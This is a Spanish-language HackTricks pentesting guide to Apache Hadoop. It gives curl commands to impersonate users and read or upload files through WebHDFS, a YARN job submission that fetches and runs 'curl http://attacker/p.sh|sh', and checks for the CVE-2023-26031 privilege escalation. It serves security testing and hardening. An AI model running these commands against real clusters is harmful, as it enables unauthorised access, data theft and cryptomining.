50030-50060-50070-50075-50090 - Pentesting Hadoop
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Apache Hadoop es un framework de código abierto para el almacenamiento y procesamiento distribuidos de grandes conjuntos de datos a través de clústeres de equipos. Usa HDFS para almacenamiento y MapReduce para procesamiento.
Puertos por defecto útiles:
- 50070 / 9870 NameNode (WebHDFS)
- 50075 / 9864 DataNode
- 50090 Secondary NameNode
- 8088 YARN ResourceManager web UI & REST
- 8042 YARN NodeManager
- 8031/8032 YARN RPC (often forgotten and still unauth in many installs)
Desafortunadamente Hadoop no tiene soporte en el Metasploit framework al momento de la documentación. Sin embargo, puedes usar los siguientes Nmap scripts para enumerar servicios Hadoop:
hadoop-jobtracker-info (Port 50030)hadoop-tasktracker-info (Port 50060)hadoop-namenode-info (Port 50070)hadoop-datanode-info (Port 50075)hadoop-secondary-namenode-info (Port 50090)
Es importante notar que Hadoop funciona sin autenticación en su configuración por defecto. Sin embargo, para mayor seguridad existen configuraciones para integrar Kerberos con los servicios HDFS, YARN y MapReduce.
WebHDFS / HttpFS abuso (50070/9870 o 14000)
Cuando security=off puedes suplantar a cualquier usuario usando el parámetro user.name. Algunas primitivas rápidas:
# list root directory
curl "http://<host>:50070/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"
# read arbitrary file from HDFS
curl -L "http://<host>:50070/webhdfs/v1/etc/hadoop/core-site.xml?op=OPEN&user.name=hdfs"
# upload a web shell / binary
curl -X PUT -T ./payload "http://<host>:50070/webhdfs/v1/tmp/payload?op=CREATE&overwrite=true&user.name=hdfs" -H 'Content-Type: application/octet-stream'
Si HttpFS está habilitado (puerto predeterminado 14000) se aplican las mismas rutas REST. Detrás de Kerberos todavía puedes usar curl --negotiate -u : con un ticket válido.
YARN unauth RCE (8088)
La ResourceManager REST API acepta envíos de jobs sin auth en el modo predeterminado “simple” (dr.who). Los atacantes lo abusan para ejecutar comandos arbitrarios (p. ej. miners) sin necesitar acceso de escritura a HDFS.
# 1) get an application id
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps/new-application
# 2) submit DistributedShell pointing to a command
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps \
-H 'Content-Type: application/json' \
-d '{
"application-id":"application_1234567890000_0001",
"application-name":"pwn",
"am-container-spec":{
"commands":{"command":"/bin/bash -c \"curl http://attacker/p.sh|sh\""}
},
"application-type":"YARN"
}'
Si el puerto 8031/8032 RPC está expuesto, clusters más antiguos permiten el mismo envío de jobs sobre protobuf sin auth (documentado en varias campañas de cryptominer) – trata esos puertos también como RCE.
PrivEsc local desde contenedores YARN (CVE-2023-26031)
Hadoop 3.3.1–3.3.4 container-executor carga librerías desde un RUNPATH relativo. Un usuario que pueda ejecutar contenedores YARN (incluyendo remote submitters en clusters inseguros) puede dejar un libcrypto.so malicioso en una ruta escribible y obtener root cuando container-executor se ejecute con SUID.
Comprobación rápida:
readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH'
# vulnerable if it contains $ORIGIN/:../lib/native/
ls -l /opt/hadoop/bin/container-executor # SUID+root makes it exploitable
Corregido en 3.3.5; asegúrese de que el binario no sea SUID si no se requieren contenedores seguros.
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


